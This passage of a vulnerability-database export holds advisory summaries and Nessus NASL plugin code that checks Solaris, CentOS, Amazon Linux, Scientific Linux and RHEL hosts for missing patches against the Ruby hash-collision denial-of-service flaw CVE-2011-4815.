pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-17T14:01:11", "description": "The remote Solaris system is missing necessary patches to address\nsecurity updates :\n\n - Ruby (aka CRuby) before 1.8.7-p357 computes hash values\n without restricting the ability to trigger hash\n collisions predictably, which allows context-dependent\n attackers to cause a denial of service (CPU consumption)\n via crafted input to an application that maintains a\n hash table. (CVE-2011-4815)", "edition": 24, "published": "2015-01-19T00:00:00", "title": "Oracle Solaris Third-Party Patch Update : ruby (cve_2011_4815_denial_of)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2015-01-19T00:00:00", "cpe": ["p-cpe:/a:oracle:solaris:ruby", "cpe:/o:oracle:solaris:11.0"], "id": "SOLARIS11_RUBY_20120417.NASL", "href": "https://www.tenable.com/plugins/nessus/80754", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Oracle Third Party software advisories.\n#\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(80754);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2011-4815\");\n\n script_name(english:\"Oracle Solaris Third-Party Patch Update : ruby (cve_2011_4815_denial_of)\");\n script_summary(english:\"Check for the 'entire' version.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Solaris system is missing a security patch for third-party\nsoftware.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote Solaris system is missing necessary patches to address\nsecurity updates :\n\n - Ruby (aka CRuby) before 1.8.7-p357 computes hash values\n without restricting the ability to trigger hash\n collisions predictably, which allows context-dependent\n attackers to cause a denial of service (CPU consumption)\n via crafted input to an application that maintains a\n hash table. (CVE-2011-4815)\"\n );\n # https://www.oracle.com/technetwork/topics/security/thirdparty-patch-map-1482893.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?4a913f44\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://blogs.oracle.com/sunsecurity/cve-2011-4815-denial-of-service-dos-vulnerability-in-ruby\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade to Solaris 11/11 SRU 6.6.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:solaris:11.0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:solaris:ruby\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/04/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/01/19\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Solaris Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Solaris11/release\", \"Host/Solaris11/pkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"solaris.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Solaris11/release\");\nif (isnull(release)) audit(AUDIT_OS_NOT, \"Solaris11\");\npkg_list = solaris_pkg_list_leaves();\nif (isnull (pkg_list)) audit(AUDIT_PACKAGE_LIST_MISSING, \"Solaris pkg-list packages\");\n\nif (empty_or_null(egrep(string:pkg_list, pattern:\"^ruby$\"))) audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby\");\n\nflag = 0;\n\nif (solaris_check_release(release:\"0.5.11-0.175.0.6.0.6.0\", sru:\"SRU 6.6\") > 0) flag++;\n\nif (flag)\n{\n error_extra = 'Affected package : ruby\\n' + solaris_get_report2();\n error_extra = ereg_replace(pattern:\"version\", replace:\"OS version\", string:error_extra);\n if (report_verbosity > 0) security_hole(port:0, extra:error_extra);\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_PACKAGE_NOT_AFFECTED, \"ruby\");\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-06T09:27:27", "description": "Updated ruby packages that fix one security issue are now available\nfor Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. A Common Vulnerability Scoring System (CVSS)\nbase score, which gives a detailed severity rating, is available from\nthe CVE link in the References section.\n\nRuby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original\nreporters.\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.", "edition": 24, "published": "2012-01-31T00:00:00", "title": "CentOS 6 : ruby (CESA-2012:0069)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2012-01-31T00:00:00", "cpe": ["p-cpe:/a:centos:centos:ruby-tcltk", "cpe:/o:centos:centos:6", "p-cpe:/a:centos:centos:ruby", "p-cpe:/a:centos:centos:ruby-rdoc", "p-cpe:/a:centos:centos:ruby-static", "p-cpe:/a:centos:centos:ruby-libs", "p-cpe:/a:centos:centos:ruby-docs", "p-cpe:/a:centos:centos:ruby-devel", "p-cpe:/a:centos:centos:ruby-ri", "p-cpe:/a:centos:centos:ruby-irb"], "id": "CENTOS_RHSA-2012-0069.NASL", "href": "https://www.tenable.com/plugins/nessus/57733", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0069 and \n# CentOS Errata and Security Advisory 2012:0069 respectively.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(57733);\n script_version(\"1.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/04\");\n\n script_cve_id(\"CVE-2011-4815\");\n script_bugtraq_id(51198);\n script_xref(name:\"RHSA\", value:\"2012:0069\");\n\n script_name(english:\"CentOS 6 : ruby (CESA-2012:0069)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated ruby packages that fix one security issue are now available\nfor Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. A Common Vulnerability Scoring System (CVSS)\nbase score, which gives a detailed severity rating, is available from\nthe CVE link in the References section.\n\nRuby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original\nreporters.\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.\"\n );\n # https://lists.centos.org/pipermail/centos-announce/2012-January/018400.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?906f6ea6\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected ruby packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2011-4815\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-docs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-irb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-rdoc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-ri\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:ruby-tcltk\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2011/12/30\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/01/31\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/CentOS/release\");\nif (isnull(release) || \"CentOS\" >!< release) audit(AUDIT_OS_NOT, \"CentOS\");\nos_ver = pregmatch(pattern: \"CentOS(?: Linux)? release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"CentOS\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"CentOS 6.x\", \"CentOS \" + os_ver);\n\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-devel-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-docs-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-irb-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-libs-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-rdoc-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-ri-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-static-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"ruby-tcltk-1.8.7.352-4.el6_2\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby / ruby-devel / ruby-docs / ruby-irb / ruby-libs / ruby-rdoc / etc\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-04-01T01:22:25", "description": "Ruby (aka CRuby) before 1.8.7-p357 computes hash values without\nrestricting the ability to trigger hash collisions predictably, which\nallows context-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable.", "edition": 26, "published": "2013-09-04T00:00:00", "title": "Amazon Linux AMI : ruby (ALAS-2012-35)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2021-04-02T00:00:00", "cpe": ["p-cpe:/a:amazon:linux:ruby-debuginfo", "p-cpe:/a:amazon:linux:ruby", "p-cpe:/a:amazon:linux:ruby-static", "p-cpe:/a:amazon:linux:ruby-libs", "p-cpe:/a:amazon:linux:ruby-rdoc", "p-cpe:/a:amazon:linux:ruby-irb", "p-cpe:/a:amazon:linux:ruby-ri", "p-cpe:/a:amazon:linux:ruby-devel", "cpe:/o:amazon:linux"], "id": "ALA_ALAS-2012-35.NASL", "href": "https://www.tenable.com/plugins/nessus/69642", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Amazon Linux AMI Security Advisory ALAS-2012-35.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(69642);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2018/04/18 15:09:34\");\n\n script_cve_id(\"CVE-2011-4815\");\n script_xref(name:\"ALAS\", value:\"2012-35\");\n\n script_name(english:\"Amazon Linux AMI : ruby (ALAS-2012-35)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Amazon Linux AMI host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Ruby (aka CRuby) before 1.8.7-p357 computes hash values without\nrestricting the ability to trigger hash collisions predictably, which\nallows context-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://alas.aws.amazon.com/ALAS-2012-35.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Run 'yum update ruby' to update your system.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby-irb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby-rdoc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby-ri\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:ruby-static\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:amazon:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/09/04\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Amazon Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/AmazonLinux/release\", \"Host/AmazonLinux/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/AmazonLinux/release\");\nif (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, \"Amazon Linux\");\nos_ver = pregmatch(pattern: \"^AL(A|\\d)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Amazon Linux\");\nos_ver = os_ver[1];\nif (os_ver != \"A\")\n{\n if (os_ver == 'A') os_ver = 'AMI';\n audit(AUDIT_OS_NOT, \"Amazon Linux AMI\", \"Amazon Linux \" + os_ver);\n}\n\nif (!get_kb_item(\"Host/AmazonLinux/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (rpm_check(release:\"ALA\", reference:\"ruby-1.8.7.357-1.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"ruby-debuginfo-1.8.7.357-1.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"ruby-devel-1.8.7.357-1.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"ruby-irb-1.8.7.357-1.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"ruby-libs-1.8.7.357-1.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"ruby-rdoc-1.8.7.357-1.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"ruby-ri-1.8.7.357-1.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"ruby-static-1.8.7.357-1.10.amzn1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby / ruby-debuginfo / ruby-devel / ruby-irb / ruby-libs / etc\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-17T13:46:20", "description": "Ruby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.", "edition": 15, "published": "2012-08-01T00:00:00", "title": "Scientific Linux Security Update : ruby on SL6.x i386/x86_64 (20120130)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2012-08-01T00:00:00", "cpe": ["p-cpe:/a:fermilab:scientific_linux:ruby-static", "p-cpe:/a:fermilab:scientific_linux:ruby-libs", "p-cpe:/a:fermilab:scientific_linux:ruby-ri", "p-cpe:/a:fermilab:scientific_linux:ruby-devel", "p-cpe:/a:fermilab:scientific_linux:ruby-irb", "p-cpe:/a:fermilab:scientific_linux:ruby-rdoc", "p-cpe:/a:fermilab:scientific_linux:ruby", "x-cpe:/o:fermilab:scientific_linux", "p-cpe:/a:fermilab:scientific_linux:ruby-docs", "p-cpe:/a:fermilab:scientific_linux:ruby-tcltk", "p-cpe:/a:fermilab:scientific_linux:ruby-debuginfo"], "id": "SL_20120130_RUBY_ON_SL6_X.NASL", "href": "https://www.tenable.com/plugins/nessus/61229", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text is (C) Scientific Linux.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(61229);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2011-4815\");\n\n script_name(english:\"Scientific Linux Security Update : ruby on SL6.x i386/x86_64 (20120130)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Scientific Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Ruby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.\"\n );\n # https://listserv.fnal.gov/scripts/wa.exe?A2=ind1201&L=scientific-linux-errata&T=0&P=2657\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?a1450742\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-docs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-irb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-rdoc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-ri\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:ruby-tcltk\");\n script_set_attribute(attribute:\"cpe\", value:\"x-cpe:/o:fermilab:scientific_linux\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2011/12/30\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/08/01\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Scientific Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Scientific Linux \" >!< release) audit(AUDIT_HOST_NOT, \"running Scientific Linux\");\nos_ver = pregmatch(pattern: \"Scientific Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Scientific Linux\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Scientific Linux 6.x\", \"Scientific Linux \" + os_ver);\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu >!< \"x86_64\" && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Scientific Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"SL6\", reference:\"ruby-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-debuginfo-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-devel-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-docs-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-irb-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-libs-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-rdoc-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-ri-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-static-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"ruby-tcltk-1.8.7.352-4.el6_2\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby / ruby-debuginfo / ruby-devel / ruby-docs / ruby-irb / etc\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-17T13:10:18", "description": "Updated ruby packages that fix one security issue are now available\nfor Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. A Common Vulnerability Scoring System (CVSS)\nbase score, which gives a detailed severity rating, is available from\nthe CVE link in the References section.\n\nRuby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original\nreporters.\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.", "edition": 21, "published": "2012-01-31T00:00:00", "title": "RHEL 6 : ruby (RHSA-2012:0069)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2012-01-31T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:ruby", "p-cpe:/a:redhat:enterprise_linux:ruby-debuginfo", "p-cpe:/a:redhat:enterprise_linux:ruby-rdoc", "p-cpe:/a:redhat:enterprise_linux:ruby-irb", "p-cpe:/a:redhat:enterprise_linux:ruby-static", "p-cpe:/a:redhat:enterprise_linux:ruby-docs", "p-cpe:/a:redhat:enterprise_linux:ruby-ri", "p-cpe:/a:redhat:enterprise_linux:ruby-libs", "cpe:/o:redhat:enterprise_linux:6.2", "p-cpe:/a:redhat:enterprise_linux:ruby-devel", "cpe:/o:redhat:enterprise_linux:6", "p-cpe:/a:redhat:enterprise_linux:ruby-tcltk"], "id": "REDHAT-RHSA-2012-0069.NASL", "href": "https://www.tenable.com/plugins/nessus/57746", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0069. The text \n# itself is copyright (C) Red Hat, 